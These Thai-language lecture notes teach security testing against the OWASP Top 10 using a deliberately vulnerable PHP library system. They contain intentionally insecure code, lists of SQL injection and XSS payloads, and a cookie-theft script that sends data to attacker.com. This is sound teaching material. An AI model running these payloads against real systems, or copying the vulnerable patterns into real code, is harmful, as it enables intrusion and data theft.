# Week12_Lecture_Security_Testing.md

สัปดาห์ที่ 12: การทดสอบความปลอดภัย (OWASP Top 10 ที่ใช้ในทางปฏิบัติ)

## 📋 วัตถุประสงค์การเรียนรู้

หลังจากเรียนจบสัปดาห์นี้ นิสิตจะสามารถ:

1. อธิบายแนวคิด OWASP Top 10 และความสำคัญต่อความปลอดภัยของระบบ
2. ระบุประเภทความเสี่ยงด้านความปลอดภัย (SQL Injection, XSS, ปัญหาการยืนยันตัวตน)
3. ทำการทดสอบความปลอดภัยด้วยวิธีการตรวจสอบแบบแมนนวล (Manual Testing)
4. ใช้เครื่องมือต่างๆ ในการทดสอบช่องโหว่ด้านความปลอดภัย (Burp Suite, OWASP ZAP, Postman)
5. เขียนรายงานการทดสอบความปลอดภัยตามมาตรฐานอุตสาหกรรม

---

- \*\*บรรยาย:
  - ภาพรวม OWASP Top 10
  - ช่องโหว่ด้านความปลอดภัยในระบบห้องสมุด
  - เทคนิคและเครื่องมือการทดสอบ
- \*\*การสาธิตเชิงปฏิบัติ:
  - การทดสอบ SQL Injection แบบสด
  - การทดสอบ XSS แบบสด
  - การทดสอบการบายพาสการยืนยันตัวตน

---

# ส่วนที่ 1: ภาพรวม OWASP TOP 10

---

## 1.1 OWASP คืออะไร

### นิยาม

**OWASP** = Open Web Application Security Project

- องค์กรเพื่อการกุศล
- ทรัพยากรความปลอดภัยฟรีและเปิดแหล่งที่มา
- มีวัตถุประสงค์เพื่อปรับปรุงความปลอดภัยของเว็บแอปพลิเคชัน
- ชุมชนที่ขับเคลื่อนโดย นักพัฒนา, ผู้เชี่ยวชาญด้านความปลอดภัย

### เหตุใดจึง OWASP Top 10

**OWASP Top 10** = รายชื่อ **ความเสี่ยงด้านความปลอดภัยที่สำคัญที่สุด 10 ประการ** ในเว็บแอปพลิเคชัน

- ได้รับการปรับปรุงทุก 3-4 ปี ตามช่องโหว่ที่เกิดขึ้นจริง
- ขึ้นอยู่กับข้อมูลจากแอปพลิเคชันนับพันแห่ง
- มาตรฐานของอุตสาหกรรม (บริษัทต่างๆ ใช้คู่มือนี้)
- ความรู้ที่จำเป็นสำหรับผู้ทดสอบและนักพัฒนา

---

## 1.2 หมวดหมู่ 10 ประการ (ภาพรวมสั้นๆ)

| #   | หมวดหมู่                         | ระดับความเสี่ยง | ตัวอย่าง                                         |
| --- | -------------------------------- | --------------- | ------------------------------------------------ |
| A01 | การควบคุมการเข้าถึงที่ขาด        | 🔴 วิกฤติ       | ผู้ใช้สามารถเข้าถึงข้อมูลของผู้ใช้คนอื่น         |
| A02 | ความล้มเหลวของการเข้ารหัส        | 🔴 วิกฤติ       | รหัสผ่านเก็บไว้เป็นข้อความธรรมชาติ               |
| A03 | **การแทรก**                      | 🔴 วิกฤติ       | SQL Injection ⭐                                 |
| A04 | ออกแบบที่ไม่ปลอดภัย              | 🟠 สูง          | Race conditions, ไม่มีธุรกรรม                    |
| A05 | การกำหนดค่าความปลอดภัยที่ผิดพลาด | 🟠 สูง          | โหมดดีบัก เปิดใช้งาน, ข้อมูลประจำตัวแบบฮาร์ดโค้ด |
| A06 | ส่วนประกอบที่เสี่ยง              | 🟠 สูง          | ไลบรารีเก่าที่มีข้อผิดพลาดที่ทราบ                |
| A07 | **ความล้มเหลวในการยืนยันตัวตน**  | 🟠 สูง          | รหัสผ่านที่อ่อนแอ, ไม่มี session timeout ⭐      |
| A08 | ความล้มเหลวของความสมบูรณ์ข้อมูล  | 🟡 ปานกลาง      | คุกกี้ที่ไม่ลงนาม, ข้อมูลที่ไม่น่าเชื่อถือ       |
| A09 | ช่องว่างในการบันทึกและการตรวจสอบ | 🟡 ปานกลาง      | ไม่มีบันทึกความปลอดภัย                           |
| A10 | **SSRF**                         | 🟡 ปานกลาง      | เซิร์ฟเวอร์โต้ตอบกับ URL ที่ไม่น่าเชื่อถือ       |

**⭐ = เกี่ยวข้องมากที่สุดกับตัวอย่างระบบห้องสมุด**

---

## 1.3 เหตุใดการทดสอบความปลอดภัยจึงสำคัญ

### ผลกระทบในโลกจริงของการละเมิดความปลอดภัย

| เหตุการณ์                   | ผลกระทบ                                        | ปี        |
| --------------------------- | ---------------------------------------------- | --------- |
| การละเมิดข้อมูล Facebook    | บัญชีผู้ใช้ 540 ล้านรายรั่วไหล                 | 2019      |
| การละเมิด Equifax           | ผู้ที่ได้รับผลกระทบ 147 ล้านคน, ปรับ $700 ล้าน | 2017      |
| Target (SQL Injection)      | หมายเลขบัตรที่โจมตี 40 ล้านหมายเลข             | 2013      |
| Yahoo (ออกแบบที่ไม่ปลอดภัย) | บัญชี 3 พันล้านบัญชีรั่วไหล                    | 2013-2014 |

### ผลกระทบต่อธุรกิจ

- **การสูญเสียข้อมูล:** สูญเสียความไว้วางใจของลูกค้า
- **ต้นทุนทางกฎหมาย:** ปรับและฟ้องร้อง
- **ชื่อเสียง:** โฆษณาชั่ว
- **ปฏิบัติการ:** ระบบหยุดทำงาน, ต้นทุนการกู้คืน

### ในฐานะผู้ทดสอบ คุณ:

- **ปกป้อง** ผู้ใช้จากการโจมตี
- **ค้นหา** ช่องโหว่ **ก่อน** แฮกเกอร์
- **ตรวจสอบ** ว่าการแก้ไขความปลอดภัยทำงาน

---

# ส่วนที่ 2: ช่องโหว่ด้านความปลอดภัยในตัวอย่างระบบห้องสมุด

---

## 2.1 ภาพรวม: พบข้อผิดพลาดด้านความปลอดภัย 11 ประการ

**ระบบจัดการห้องสมุด** มี **ช่องโหว่ด้านความปลอดภัยที่เจตนา 11 ประการ** ในหมวดหมู่ OWASP:

```
รวมข้อผิดพลาดด้านความปลอดภัย: 11 ประการ
- A03 Injection (SQL Injection): 4 ข้อผิดพลาด
- A02 Cryptographic Failures: 2 ข้อผิดพลาด
- A05 Security Misconfiguration: 2 ข้อผิดพลาด
- A07 Authentication Failures: 2 ข้อผิดพลาด
- A01 Broken Access Control: 1 ข้อผิดพลาด
```

---

## 2.2 A03: การโจมตีแบบการแทรก (SQL Injection)

### SQL Injection คืออะไร

**นิยาม:** ผู้โจมตีแทรกโค้ด SQL ที่เป็นอันตรายลงในฟิลด์อินพุต ทำให้เกิดการสืบค้นฐานข้อมูลที่ไม่ตั้งใจ

### วิธีการทำงาน (ตัวอย่างง่ายๆ)

#### รหัสที่เสี่ยง (❌ ห้ามทำสิ่งนี้)

```php
// login.php - BUG #5
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
```

#### สถานการณ์การโจมตี

**ผู้โจมตีป้อน:**

```
Username: admin' OR '1'='1
Password: anything
```

**สืบค้นฐานข้อมูลที่สร้างขึ้น:**

```sql
SELECT * FROM users
WHERE username='admin' OR '1'='1'
AND password='anything'
```

**เกิดอะไรขึ้น:**

- `'admin' OR '1'='1'` คือ **จริงเสมอ**
- เงื่อนไข `'1'='1'` ข้ามการตรวจสอบรหัสผ่าน
- **การเข้าสู่ระบบประสบความสำเร็จโดยไม่ต้องรหัสผ่านที่ถูกต้อง!**

### ผลกระทบที่แท้จริงของ SQL Injection

| การโจมตี                                          | ผลกระทบ             |
| ------------------------------------------------- | ------------------- |
| `' OR '1'='1`                                     | ข้ามการยืนยันตัวตน  |
| `'; DROP TABLE users;--`                          | ลบตาราทั้งหมด       |
| `UNION SELECT password...`                        | แยกรหัสผ่านทั้งหมด  |
| Time-based blind: `'; WAITFOR DELAY '00:00:05'--` | รับคำตอบ ใช่/ไม่ใช่ |

### ในระบบห้องสมุดของคุณ: ข้อผิดพลาด SQL Injection 4 ประการ

#### BUG #5: SQL Injection ในการเข้าสู่ระบบ (login.php:10)

```php
// ปัจจุบัน (เสี่ยง)
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

// Payload ที่ต้องทดสอบ:
Username: admin' OR '1'='1
Password: admin
```

**วัตถุประสงค์ของการทดสอบ:** การเข้าสู่ระบบประสบความสำเร็จโดยไม่ทราบรหัสผ่าน

---

#### BUG #12: SQL Injection ในการค้นหาหนังสือ (books.php:10-14)

```php
// ปัจจุบัน (เสี่ยง)
$search = $_GET['search'];
$query = "SELECT * FROM books WHERE title LIKE '%$search%'";

// Payload ที่ต้องทดสอบ:
Search: ' OR '1'='1'--
```

**วัตถุประสงค์ของการทดสอบ:** ดูหนังสือทั้งหมด (รวมถึงหนังสือที่ถูกจำกัด)

**รูปแบบของ Payload:**

```
' OR 1=1--
'; DROP TABLE books;--
' UNION SELECT password FROM users--
```

---

#### BUG #18: SQL Injection ในการเพิ่มหนังสือ (book_add.php)

```php
// ปัจจุบัน (เสี่ยง)
$title = $_POST['title'];
$author = $_POST['author'];
$query = "INSERT INTO books VALUES ('$title', '$author', ...)";

// Payload ที่ต้องทดสอบ:
Title: My Book', NULL); DROP TABLE books;--
```

---

#### BUG #34: SQL Injection ในการเพิ่มสมาชิก (member_add.php)

```php
// ปัจจุบัน (เสี่ยง) - รูปแบบคล้ายกับ book_add.php

// Payload ที่ต้องทดสอบ:
Member Name: John', 'suspended');--
```

---

## 2.3 A07: ความล้มเหลวในการยืนยันตัวตนและ A05: การกำหนดค่าความปลอดภัยที่ผิดพลาด

### BUG #1: ข้อมูลประจำตัวแบบฮาร์ดโค้ด (config.php:3-6)

```php
// ❌ เสี่ยง
$db_user = "library_user";
$db_pass = "library_pass";  // ← ในรหัสต้นฉบับ!
```

**เหตุใดจึงเป็นเรื่องเลว:**

- ใครก็ตามที่อ่านรหัสต้นฉบับสามารถเห็นรหัสผ่านได้
- หากเก็บโปรแกรม Git ที่รั่วไหล → ข้อมูลประจำตัวถูกเปิดเผย
- ไม่มีวิธีเปลี่ยนรหัสผ่านโดยไม่ต้องปรับใช้อีกครั้ง

**วัตถุประสงค์ของการทดสอบ:** ค้นหาข้อมูลประจำตัวเหล่านี้ในรหัส

**วิธีการทดสอบ:**

1. ดูแหล่งที่มาของหน้า (Ctrl+U)
2. ค้นหา `library_pass` ในความเห็น
3. ตรวจสอบประวัติการสร้าง Git

---

### BUG #4: โหมดดีบัก เปิดใช้งานเสมอ (config.php:17)

```php
// ❌ เสี่ยง
ini_set('display_errors', 1);  // แสดงข้อผิดพลาดบนหน้า
mysqli_report(MYSQLI_REPORT_ALL);  // รายงานทุกอย่าง
```

**ผู้โจมตีเรียนรู้:**

```
เซิร์ฟเวอร์ฐานข้อมูล: localhost
ชื่อฐานข้อมูล: library_db
ผู้ใช้ฐานข้อมูล: library_user
ชื่อตาราง, ชื่อคอลัมน์, สืบค้น SQL
```

**วัตถุประสงค์ของการทดสอบ:** ทริกเกอร์ข้อผิดพลาดและดูข้อมูลที่รั่วไหล

**วิธีการทดสอบ:**

1. ทำให้เกิดข้อผิดพลาดของฐานข้อมูล (ตัดการเชื่อมต่อ DB, สืบค้นที่ผิด)
2. ดูแหล่งที่มาของหน้า → ดูสืบค้น SQL + ข้อมูลระบบ
3. **ผู้โจมตีรู้โครงสร้างฐานข้อมูลแล้ว!**

---

### BUG #2: ไม่มีการจัดการข้อผิดพลาดในการเชื่อมต่อ DB (config.php:9)

```php
// ❌ เสี่ยง
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
// ไม่มีการตรวจสอบว่าการเชื่อมต่อล้มเหลว!
// ต่อมา: หากการเชื่อมต่อเป็น NULL, ระบบล้มเหลวด้วยข้อผิดพลาดร้ายแรง
```

**วัตถุประสงค์ของการทดสอบ:** ตัดการเชื่อมต่อของฐานข้อมูลและดูข้อความแสดงข้อผิดพลาด

---

### BUG #8: การตรวจสอบเซสชันที่อ่อนแอ (index.php:4-7)

```php
// ❌ เสี่ยง
if (!isset($_SESSION['user_id'])) {
    // ผู้ใช้ได้เข้าสู่ระบบ (แต่ไม่มีการตรวจสอบ timeout!)
}
// ← ไม่มี session timeout
// ← ไม่มีการสร้าง session ใหม่หลังจากเข้าสู่ระบบ
```

**สถานการณ์:**

1. ผู้ใช้เข้าสู่ระบบ
2. ผู้ใช้ปิดเบราว์เซอร์ (แต่ไม่ออกจากระบบ)
3. ผู้โจมตีใช้เบราว์เซอร์เดียวกัน → **ยังคง logged in!**

**วัตถุประสงค์ของการทดสอบ:** อยู่ logged in หลังจากปิดเบราว์เซอร์

---

### BUG #38: การทำลาย Session ที่ไม่สมบูรณ์ (logout.php:4-7)

```php
// ❌ เสี่ยง
unset($_SESSION['user_id']);  // เพียงแค่ unset, ไม่ทำลาย!
// ไฟล์เซสชันยังอยู่บนเซิร์ฟเวอร์
// คุกกี้ของเบราว์เซอร์ยังคงอยู่
```

**สถานการณ์:**

1. ผู้ใช้ออกจากระบบ
2. ผู้ใช้กดปุ่ม Back ของเบราว์เซอร์
3. **หน้าเก่ายังคง accessible!**

**วัตถุประสงค์ของการทดสอบ:** ออกจากระบบ แล้วกด Back → คุณสามารถเข้าถึงหน้าผู้ใช้ได้หรือไม่?

---

## 2.4 A02: ความล้มเหลวของการเข้ารหัส

### BUG #6-7: ข้อผิดพลาดธรรมชาติการเข้าสู่ระบบ (login.php:15-17)

```php
// ❌ เสี่ยง
$result = mysqli_query($conn, $query);
if ($result) {  // เพียงแค่ตรวจสอบว่าสืบค้นประสบความสำเร็จ
    $user = mysqli_fetch_assoc($result);
    // ไม่มีการตรวจสอบว่า $user เป็น NULL!
    $_SESSION['user_id'] = $user['id'];  // ← crash if user not found
}
```

**สถานการณ์การโจมตี:**

```
Username: nonexistent_user
Password: anything

สืบค้นประสบความสำเร็จ (สืบค้นถูกต้อง)
แต่ไม่พบผู้ใช้ ❌
mysqli_fetch_assoc กลับ NULL
$user['id'] → PHP Fatal Error ❌
```

**ผลลัพธ์:** ผู้โจมตีสามารถระบุชื่อผู้ใช้ที่ถูกต้องหรือรื้อระบบได้

**วัตถุประสงค์ของการทดสอบ:** ตรวจสอบชื่อผู้ใช้ไม่มีอยู่ → ดูเกิดอะไรขึ้น

---

### BUG #16: ช่องโหว่ XSS (books.php - JavaScript)

```php
// ❌ เสี่ยง - หนังสือแสดงด้วย HTML ที่ไม่ได้หนีออก
<script>
function viewBook(id) {
    window.location.href = "book_view.php?id=" + id;
    // หาก 'id' มี JavaScript → executes!
}
</script>

<?php
// หนังสือจากฐานข้อมูล echo โดยตรง
echo "<td>" . $book['title'] . "</td>";  // ไม่มีการหนีออก HTML!
?>
```

**การโจมตี:**

1. ผู้โจมตีใส่หนังสือที่มีชื่อ:
   ```
   My Book<script>alert('XSS')</script>
   ```
2. เมื่อแสดง: JavaScript **executes บนเบราว์เซอร์ของนิสิต**
3. ผู้โจมตีสามารถ:
   - ขโมยคุกกี้เซสชัน
   - เปลี่ยนเส้นทางไปยังไซต์ phishing
   - แก้ไขเนื้อหาของหน้า

**วัตถุประสงค์ของการทดสอบ:** เพิ่มหนังสือด้วยแท็ก `<script>` → ดู JavaScript ทำงานหรือไม่

---

---

# ส่วนที่ 3: เทคนิคและเครื่องมือการทดสอบ

---

## 3.1 ประเภทของการทดสอบความปลอดภัย

### 1. **การทดสอบแบบแมนนวล**

**วิธีการ:**

- ป้อน payloads ด้วยตนเอง
- สังเกตพฤติกรรมของระบบ
- บันทึกการค้นพบ

**เครื่องมือ:**

- เครื่องมือนักพัฒนาเบราว์เซอร์ (F12)
- Postman (สำหรับการทดสอบ API)
- สำหรับแก้ไข (สร้าง payloads)

**ข้อดี:**

- เรียนรู้วิธีการทำงานของช่องโหว่
- เข้าใจผลกระทบ
- ไม่มีความซับซ้อนในการตั้งค่าเครื่องมือ

**ตัวอย่าง:**

```
1. เปิด login.php
2. ป้อนชื่อผู้ใช้: admin' OR '1'='1
3. ป้อนรหัสผ่าน: test
4. คลิกล็อกอิน → มันประสบความสำเร็จหรือไม่?
5. บันทึกการค้นพบ
```

---

### 2. **การสแกนอัตโนมัติ**

**เครื่องมือ:**

- **OWASP ZAP** (ฟรี, สำหรับผู้เริ่มต้น)
- **Burp Suite Community** (มืออาชีพ, การเรียนรู้แบบชันสูง)
- **npm audit** (สำหรับ Node.js dependencies)

**วิธีการ:**

- เครื่องมือทดสอบช่องโหว่ทั่วไปโดยอัตโนมัติ
- สร้างรายงานพร้อมการค้นพบ
- ดีสำหรับการจับข้อผิดพลาดที่ค้นเจอแล้ว

**เมื่อใช้:**

- หลังจากการทดสอบแบบแมนนวล
- การทดสอบการถดถอย
- การตรวจสอบความปลอดภัยอย่างรวดเร็ว

---

## 3.2 เทคนิคการทดสอบความปลอดภัยแบบแมนนวล

### เทคนิก 1: การทดสอบ SQL Injection

**วิธีการแบบขั้นตอน:**

1. **ระบุฟิลด์อินพุต:**
   - ชื่อผู้ใช้/รหัสผ่านเข้าสู่ระบบ
   - กล่องค้นหา
   - ฟิลด์แบบฟอร์มในหน้า เพิ่ม/แก้ไข

2. **ทดสอบการแทรก Base:**

   ```
   Single quote: '
   Result: ข้อผิดพลาดฐานข้อมูล? ไม่ดี? ดี! (แสดงช่องโหว่)
   ```

3. **ทดสอบการตรรกะ:**

   ```
   Or statement: ' OR '1'='1
   Result: เข้าถึงที่ไม่คาดคิด? ช่องโหว่ยืนยัน!
   ```

4. **ทดสอบ payloads ที่ทำอันตราย** (ในสภาพแวดล้อมการทดสอบเท่านั้น!):
   ```
   '; DROP TABLE books;--
   หมายเหตุ: ใช้ในฐานข้อมูลการทดสอบเท่านั้น!
   ```

**Payloads SQL Injection ทั่วไป:**

```
# การตรวจสอบพื้นฐาน
'
"
'--
'#

# ข้ามการยืนยันตัวตน
' OR '1'='1'--
' OR 1=1--
admin' OR 'a'='a
admin'#

# การสกัดแบบ Union
' UNION SELECT username, password FROM users--
' UNION SELECT NULL, NULL, NULL--

# Time-based blind (ฐานข้อมูล sleeps สำหรับ 5 วินาที)
'; WAITFOR DELAY '00:00:05'--
'; SELECT SLEEP(5);--
```

---

### เทคนิก 2: การทดสอบ XSS (Cross-Site Scripting)

**วิธีการแบบขั้นตอน:**

1. **ระบุปัจจัยการนำเข้าที่แสดงกลับมา:**
   - ผลการค้นหา
   - ชื่อสินค้า
   - ความเห็น/หมายเหตุ

2. **ทดสอบสคริปต์ที่ไม่เป็นอันตราย:**

   ```html
   <img src="x" onerror="alert('XSS')" />
   OR
   <script>
     alert("XSS");
   </script>
   ```

3. **สังเกต:**
   - JavaScript ทำงาน? ← **เสี่ยง!**

4. **ทดสอบ XSS เก็บไว้:**
   - เพิ่มหนังสือด้วย XSS payload
   - ออกจากระบบ
   - เข้าสู่ระบบอีกครั้ง
   - ตรวจสอบว่า payload ยังคงดำเนินการหลังจากออกจากระบบ

**Payloads XSS ทั่วไป:**

```javascript
// Basic
<script>alert('XSS')</script>

// Image tag
<img src=x onerror="alert('XSS')">

// SVG
<svg onload="alert('XSS')">

// Event handlers
<input autofocus onfocus="alert('XSS')">

// Cookie stealing (การโจมตีจริง)
<script>
fetch('http://attacker.com/?cookie=' + document.cookie);
</script>

// DOM manipulation
<script>
document.body.innerHTML = '<h1>Site Hacked!</h1>';
</script>
```

**ทางเลือกที่ปลอดภัย (สำหรับนักพัฒนา):**

```php
// ปลอดภัย: หนี HTML
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
```

---

### เทคนิก 3: การทดสอบการยืนยันตัวตน

**กรณีทดสอบ:**

1. **ข้ามการเข้าสู่ระบบ:**
   - ใช้ SQL Injection (ครอบคลุมด้านบน)
   - ลองข้อมูลประจำตัวเริ่มต้น

2. **การปลอมเซสชัน:**
   - ออกจากระบบและกดปุ่ม Back
   - คุณเห็นข้อมูลของผู้ใช้ก่อนหน้า?

3. **การตรวจสอบการสร้าง Session:**
   - หมายเหตุ ID เซสชันของคุณก่อนเข้าสู่ระบบ
   - หลังจากเข้าสู่ระบบ, ID เซสชันมีการเปลี่ยนแปลง?

4. **การจัดการคุกกี้:**
   - F12 → Application tab → Cookies
   - แก้ไขคุกกี้ user_id
   - รีเฟรชหน้า → คุณสามารถเข้าถึงข้อมูลของผู้ใช้คนอื่นได้หรือไม่?

---

### เทคนิก 4: การทดสอบควบคุมการเข้าถึง

**กรณีทดสอบ:**

1. **Direct Object Reference (OWASP A01):**

   ```
   URL: book_view.php?id=1
   เปลี่ยนเป็น: book_view.php?id=2 (หนังสือของผู้อื่น)
   คุณสามารถดูได้หรือไม่? → ช่องโหว่!
   ```

2. **การเข้าถึงตามบทบาท:**
   - เข้าสู่ระบบเป็นนักเรียน
   - พยายามเข้าถึงหน้าผู้ดูแลโดยตรง
   - คุณสามารถแก้ไขสถานะสมาชิก?

3. **การยกระดับสิทธิ์:**
   - เปลี่ยน member_type จากมนุษย์ "student" เป็น "admin" ในคุกกี้/ฐานข้อมูล
   - ฟีเจอร์ผู้ดูแลจะปลดล็อกหรือไม่?

---

## 3.3 ภาพรวมเครื่องมือ

### เครื่องมือ 1: การทดสอบแบบแมนนวล (เบราว์เซอร์)

**การตั้งค่า:** ไม่จำเป็นต้องมี!

**วิธีการใช้:**

```
1. เปิด Firefox/Chrome
2. กด F12 (Developer Tools)
3. Console tab → ทดสอบ JavaScript payloads
4. Network tab → ดูคำขอ
5. Application tab → ตรวจสอบ/แก้ไขคุกกี้
6. Sources tab → ดูแหล่งที่มาของหน้า
```

**ข้อดี:**

- ไม่จำเป็นต้องติดตั้ง
- เรียนรู้โดยตรง
- การควบคุมแบบเต็ม

---

### เครื่องมือ 2: Postman (การทดสอบ API)

**การตั้งค่า:**

```
1. ดาวน์โหลดจาก postman.com
2. สร้างบัญชี
3. นำเข้าคำขอ HTTP
4. เพิ่มสคริปต์ทดสอบ
```

**การทดสอบความปลอดภัยด้วย Postman:**

```javascript
// ทดสอบ 1: SQL Injection ในปลายทาง API
// GET /api/books?search=' OR '1'='1'
pm.test("SQL Injection Check", function () {
  pm.expect(pm.response.code).not.to.equal(200);
});

// ทดสอบ 2: การข้ามการยืนยันตัวตน
// ส่งคำขอโดยไม่มี token
pm.test("Missing Token Should Fail", function () {
  pm.expect(pm.response.code).to.equal(401);
});

// ทดสอบ 3: ตรวจสอบข้อมูลที่ละเอียดอ่อนในการตอบสนอง
pm.test("No password in response", function () {
  pm.expect(pm.response.text()).not.to.include("password");
});
```

---

### เครื่องมือ 3: OWASP ZAP (ฟรี, สำหรับผู้เริ่มต้น)

**สิ่งที่ทำ:**

- สแกนแอปพลิเคชันเว็บโดยอัตโนมัติ
- ทดสอบช่องโหว่ทั่วไป
- สร้างรายงาน HTML

**การตั้งค่า:**

```
1. ดาวน์โหลด OWASP ZAP (ฟรี)
2. เริ่มแอปพลิเคชัน
3. ตั้ง "URL จะถูกโจมตี": http://localhost/library
4. คลิกปุ่ม "Attack"
5. รอให้การสแกนเสร็จสิ้น
6. ตรวจสอบการค้นพบ
```

**รายงานผลผลิต:**

```
ปัญหาความเสี่ยงสูง:
- SQL Injection พบใน /login.php
- XSS พบใน /books.php
- การจัดการเซสชันที่อ่อนแอ

ปัญหาความเสี่ยงปานกลาง:
- ส่วนหัวความปลอดภัยที่หายไป
- เวอร์ชันไลบรารีที่ล้าสมัย

ปัญหาความเสี่ยงต่ำ:
- ...
```

---

### เครื่องมือ 4: Burp Suite Community (มืออาชีพแต่สำหรับเรียนรู้)

**การตั้งค่า:**

```
1. ดาวน์โหลด Burp Suite Community (ฟรี)
2. ตั้งค่า proxy เบราว์เซอร์: 127.0.0.1:8080
3. Burp จะสกัดคำขอทั้งหมด
```

**ฟีเจอร์:**

- สกัดและแก้ไขคำขอ
- สแกนอัตโนมัติ
- เครื่องมือ Intruder (brute force)
- Repeater (ทดสอบ payloads)

**การเรียนรู้:** ชันสูงกว่า ZAP แล้วแต่มีพลังมากขึ้น

---

## 3.4 วิธีการทดสอบที่แนะนำ

สำหรับ **ผู้เริ่มต้น**, ใช้ลำดับนี้:

```
1. การทดสอบแบบแมนนวล
   └─ เข้าใจช่องโหว่
   └─ ทดสอบ payloads โดยตรง
   └─ เรียนรู้จากการปฏิบัติ

2. การสแกนโดยอัตโนมัติ (ไม่บังคับ)
   └─ หลังจากแมนนวล, เรียกใช้ ZAP/Burp
   └─ จับสิ่งที่คุณพลาด
   └─ สร้างรายงานมืออาชีพ
```

---

---

# การสาธิต DEMO Walkthrough

---

## Demo 1: SQL Injection ในการเข้าสู่ระบบ

**Walkthrough สด:**

1. เปิด login.php
2. ป้อน:
   ```
   Username: admin' OR '1'='1
   Password: admin
   ```
3. **ผลลัพธ์:** การเข้าสู่ระบบประสบความสำเร็จ
4. **เหตุใด:** สืบค้นฐานข้อมูลกลายเป็น:
   ```sql
   SELECT * FROM users
   WHERE username='admin' OR '1'='1'
   AND password='admin'
   ```
5. **`'1'='1'` เป็นจริงเสมอ → ข้ามตรวจสอบรหัสผ่าน**

---

## Demo 2: ช่องโหว่ XSS ในหนังสือ

**Walkthrough สด:**

1. ไปที่หน้าเพิ่มหนังสือ
2. ป้อน:
   ```
   Title: <img src=x onerror="alert('XSS Vulnerability!')">
   Author: John Doe
   ```
3. ส่ง
4. ไปที่รายชื่อหนังสือ
5. **alert ปรากฏ!** ← ยืนยันช่องโหว่
6. ใน Chrome DevTools ตรวจสอบแหล่งที่มาของหน้า
7. **สคริปต์แท็ก displayed as-is** (ไม่ได้หนี)

---

## Demo 3: เซสชันไม่ถูกทำลาย

**Walkthrough สด:**

1. เข้าสู่ระบบเป็นผู้ใช้ใด ๆ
2. หมายเหตุ URL และเนื้อหาของหน้า
3. คลิก Logout
4. **กด Back button ของเบราว์เซอร์**
5. **หน้าเก่ายังแสดง!** ← เซสชันไม่ถูกทำลายอย่างถูกต้อง

---

---

# สรุปและ Key Takeaways 📌

| แนวคิด                 | Key Point                                              |
| ---------------------- | ------------------------------------------------------ |
| **OWASP Top 10**       | มาตรฐานอุตสาหกรรมสำหรับการประเมินความเสี่ยงความปลอดภัย |
| **A03: Injection**     | ไม่ควรต่อข้อมูลอินพุตของผู้ใช้กับ SQL                  |
| **A07: Auth Failures** | ตรวจสอบเซสชันหรือ timeout เสมอ                         |
| **A02: Crypto Issues** | ไม่ควรฮาร์ดโค้ดข้อมูลประจำตัวหรือรหัสผ่าน              |
| **Manual Testing**     | เริ่มที่นี่เพื่อเข้าใจช่องโหว่                         |
| **Automated Tools**    | ใช้หลังจากการทดสอบแบบแมนนวลเพื่อการครอบคลุมที่ครอบคลุม |

---

# ต่อไป: Demo

1. ✅ ทดสอบ SQL Injection ใน 4 หน้าต่างๆ
2. ✅ ทดสอบช่องโหว่ XSS ในการเพิ่ม/แก้ไขหนังสือ
3. ✅ ทดสอบการข้ามการยืนยันตัวตน
4. ✅ ทดสอบความปลอดภัยของเซสชัน (logout, back button)
5. ✅ บันทึกการค้นพบในรายงานการทดสอบความปลอดภัย

---